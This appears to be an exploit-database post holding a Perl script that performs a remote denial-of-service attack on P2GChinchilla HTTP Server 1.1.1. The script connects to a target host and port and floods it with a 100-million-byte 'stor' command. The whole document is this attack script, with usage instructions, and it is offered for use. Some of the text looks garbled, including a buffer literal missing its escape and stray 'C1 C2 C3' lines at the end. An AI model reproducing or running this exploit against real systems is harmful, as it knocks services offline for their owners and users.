P2GChinchilla HTTP Server v1.1.1 Denial Of Service Exploit :

Date : 2010-01-24 Author : Zer0 Thunder
#!/usr/bin/perl
# File Name :P2GChinchilla[TM] HTTP Server
# Vuln : Remote Denial Of Service Exploit
# Auther : Zer0 Thunder
# Msn : [email protected]
#
# 
##==------>>
#
# Exploit Title: P2GChinchilla[TM] HTTP Server 1.1.1 Remote Denial Of Service Exploit
# Date: 22/01/2010
# Author: Zer0 Thunder
# Version: v 1.1.1
# Tested on: Server runs on Windows XP Sp2 /Test on Remote Location
##==------>> 
use IO::Socket::INET;
$ip = $ARGV[0];
$port = $ARGV[1];
if (! defined $ARGV[0])
{
print "	+================================================================+
";
print "	+ ---  P2GChinchilla[TM] HTTP Server 1.1.1 Denial Of Service  ---+
";
print "	+ ---  Author :Zer0 Thunder                                   ---+
";
print "	+ ---  DATE:  :[24/01/2010]                                   ---+
";
print "	+ ---  ------------------------------------------------       ---+
";
print "	+ ---  Usage  :perl exploit.pl [Host/Remote IP] [Port]        ---+
";
print "	+ ---                                                         ---+
";
print "	+================================================================+
";
print "
"; 
print " Ex : exploit.pl localhost 50000
";  # P2GChinchilla Default Port is 50000
 
 
exit;
}
 
print "	+================================================================+
";
print "	+ ---  P2GChinchilla[TM] HTTP Server 1.1.1 Denial Of Service  ---+
";
print "	+ ---  Author :Zer0 Thunder                                   ---+
";
print "	+ ---  DATE:  :[24/01/2010]                                   ---+
";
print "	+ ---  ------------------------------------------------       ---+
";
print "	+ ---  Usage  :perl exploit.pl [Host/Remote IP] [Port]        ---+
";
print "	+ ---                                                         ---+
";
print "	+================================================================+
";
print "
";  
print " Wait Till The Buffer is Done
"; 
my $b1 = "x41" x 100000000;
print "
";
print " DoS is UP !.. N Give it a Second 
";

$DoS=IO::Socket::INET->new("$ip:$port") or die;

print $DoS "stor $b1
";
print $DoS "QUIT
";
 
close $DoS;

# exit :

C1

 

C2

 

C3